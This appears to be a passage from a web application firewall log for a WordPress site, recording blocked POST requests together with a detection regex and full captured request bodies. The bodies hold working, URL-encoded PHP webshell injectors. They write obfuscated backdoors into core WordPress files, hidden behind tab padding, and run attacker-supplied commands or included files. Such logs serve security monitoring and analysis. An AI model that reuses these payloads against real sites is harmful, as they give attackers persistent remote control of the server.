9%253Bif%2528isset%2528%2524_POST%255B%2524request_approved%255D%2529%2529%257B%2524request_approved%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524request_approved%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524request_approved%252C%2524marker_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524marker_reference%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524mrk_sym%253D%2524right_pad_string5%2528%2524request_approved%252C%2522r%2522%2529%253Bif%2528%2524mrk_sym%2529%257B%2524bind_dat%253D%2524right_pad_string6%2528%2524mrk_sym%2529%253B%2524right_pad_string7%2528%2524mrk_sym%2529%253Bprint%2520%2524bind_dat%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:53:02","92.205.188.156","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-proxy.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524rec1%2520%253D%2520%25277%2527%253B%2524rec2%2520%253D%2520%25275%2527%253B%2524rec3%2520%253D%2520%2527d%2527%253B%2524rec4%2520%253D%2520%25273%2527%253B%2524rec5%2520%253D%2520%2527f%2527%253B%2524rec6%2520%253D%2520%25276%2527%253B%2524rec7%2520%253D%2520%25278%2527%253B%2524rec8%2520%253D%2520%25271%2527%253B%2524rec9%2520%253D%2520%25274%2527%253B%2524rec10%2520%253D%2520%25272%2527%253B%2524rec11%2520%253D%2520%25270%2527%253B%2524rec12%2520%253D%2520%2527e%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524rec1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%25276%2527%2520.%2520%2524rec3%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%2524rec4%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25275%2527%2520.%2520%2524rec5%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%2524rec7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%25273%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%25277%2527%2520.%2520%2524rec7%2520.%2520%2524rec6%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%2524rec4%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524rec8%2520.%2520%2524rec1%2520.%2520%25273%2527%2520.%2520%2524rec1%2520.%2520%2524rec4%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25277%2527%2520.%2520%2524rec10%2520.%2520%25277%2527%2520.%2520%2524rec2%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%2524rec11%2520.%2520%2524rec6%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%25276%2527%2520.%2520%2527e%2527%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524rec4%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec1%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%2524rec6%2520.%2520%2524rec8%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524rec6%2520.%2520%2524rec1%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%25274%2527%2520.%2520%2524rec2%2520.%2520%2524rec5%2520.%2520%25276%2527%2520.%2520%2524rec4%2520.%2520%2524rec6%2520.%2520%2524rec5%2520.%2520%25276%2527%2520.%2520%2524rec12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec1%2520.%2520%25273%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524rec11%2520.%2520%25276%2527%2520.%2520%2524rec4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524rec4%2520.%2520%2524rec6%2520.%2520%2524rec2%2529%253B%2524request_approved%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%25277%2527%2520.%2520%25271%2527%2520.%2520%2524rec1%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec2%2520.%2520%2524rec5%2520.%2520%2524rec6%2520.%2520%2524rec8%2520.%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25277%2527%2520.%2520%2524rec11%2520.%2520%25277%2527%2520.%2520%2524rec10%2520.%2520%2524rec6%2520.%2520%2524rec5%2520.%2520%25277%2527%2520.%2520%2524rec6%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec6%2520.%2520%2524rec9%2529%253Bif%2528isset%2528%2524_POST%255B%2524request_approved%255D%2529%2529%257B%2524request_approved%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524request_approved%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524request_approved%252C%2524marker_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524marker_reference%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524mrk_sym%253D%2524right_pad_string5%2528%2524request_approved%252C%2522r%2522%2529%253Bif%2528%2524mrk_sym%2529%257B%2524bind_dat%253D%2524right_pad_string6%2528%2524mrk_sym%2529%253B%2524right_pad_string7%2528%2524mrk_sym%2529%253Bprint%2520%2524bind_dat%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?1\nsec-fetch-site:none\nsec-ch-ua-platform:\"Android\"\ncontent-length:9054\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-proxy.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524rec1%2520%253D%2520%25277%2527%253B%2524rec2%2520%253D%2520%25275%2527%253B%2524rec3%2520%253D%2520%2527d%2527%253B%2524rec4%2520%253D%2520%25273%2527%253B%2524rec5%2520%253D%2520%2527f%2527%253B%2524rec6%2520%253D%2520%25276%2527%253B%2524rec7%2520%253D%2520%25278%2527%253B%2524rec8%2520%253D%2520%25271%2527%253B%2524rec9%2520%253D%2520%25274%2527%253B%2524rec10%2520%253D%2520%25272%2527%253B%2524rec11%2520%253D%2520%25270%2527%253B%2524rec12%2520%253D%2520%2527e%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524rec1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%25276%2527%2520.%2520%2524rec3%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%2524rec4%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25275%2527%2520.%2520%2524rec5%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%2524rec7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%25273%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%25277%2527%2520.%2520%2524rec7%2520.%2520%2524rec6%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%2524rec4%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524rec8%2520.%2520%2524rec1%2520.%2520%25273%2527%2520.%2520%2524rec1%2520.%2520%2524rec4%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25277%2527%2520.%2520%2524rec10%2520.%2520%25277%2527%2520.%2520%2524rec2%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%2524rec11%2520.%2520%2524rec6%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%25276%2527%2520.%2520%2527e%2527%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524rec4%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec1%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%2524rec6%2520.%2520%2524rec8%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524rec6%2520.%2520%2524rec1%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%25274%2527%2520.%2520%2524rec2%2520.%2520%2524rec5%2520.%2520%25276%2527%2520.%2520%2524rec4%2520.%2520%2524rec6%2520.%2520%2524rec5%2520.%2520%25276%2527%2520.%2520%2524rec12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec1%2520.%2520%25273%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524rec11%2520.%2520%25276%2527%2520.%2520%2524rec4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524rec4%2520.%2520%2524rec6%2520.%2520%2524rec2%2529%253B%2524request_approved%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%25277%2527%2520.%2520%25271%2527%2520.%2520%2524rec1%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec2%2520.%2520%2524rec5%2520.%2520%2524rec6%2520.%2520%2524rec8%2520.%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25277%2527%2520.%2520%2524rec11%2520.%2520%25277%2527%2520.%2520%2524rec10%2520.%2520%2524rec6%2520.%2520%2524rec5%2520.%2520%25277%2527%2520.%2520%2524rec6%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec6%2520.%2520%2524rec9%2529%253Bif%2528isset%2528%2524_POST%255B%2524request_approved%255D%2529%2529%257B%2524request_approved%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524request_approved%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524request_approved%252C%2524marker_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524marker_reference%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524mrk_sym%253D%2524right_pad_string5%2528%2524request_approved%252C%2522r%2522%2529%253Bif%2528%2524mrk_sym%2529%257B%2524bind_dat%253D%2524right_pad_string6%2528%2524mrk_sym%2529%253B%2524right_pad_string7%2528%2524mrk_sym%2529%253Bprint%2520%2524bind_dat%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 17:53:21","95.216.28.151","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> DO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%253B%2520%2524descriptor%253D%2527%2527%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524element%2529%253B%2520%2524r%252B%252B%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524element%255B%2524r%255D%2529%2520%255E%252085%2529%253B%257D%2520%2524holder%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524sym%2520%253D%25200%253B%2520do%2520%257B%2520%2524data_chunk%2520%253D%2520%2524holder%255B%2524sym%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524sym%2520%253E%253D%2520count%2528%2524holder%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524data_chunk%2529%2520%253F%2520is_writable%2528%2524data_chunk%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524data_chunk%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524desc%252C%2520%2524descriptor%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524sym%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvER8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4081\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\n\nDO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/plugin-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ent%255Cx72%255Cx79%2522%255D%2529%253B%2520%2524descriptor%253D%2527%2527%253B%2520for%2528%2524r%253D0%253B%2520%2524r%253Cstrlen%2528%2524element%2529%253B%2520%2524r%252B%252B%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524element%255B%2524r%255D%2529%2520%255E%252085%2529%253B%257D%2520%2524holder%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524sym%2520%253D%25200%253B%2520do%2520%257B%2520%2524data_chunk%2520%253D%2520%2524holder%255B%2524sym%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524sym%2520%253E%253D%2520count%2528%2524holder%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524data_chunk%2529%2520%253F%2520is_writable%2528%2524data_chunk%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524data_chunk%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524desc%252C%2520%2524descriptor%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524sym%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
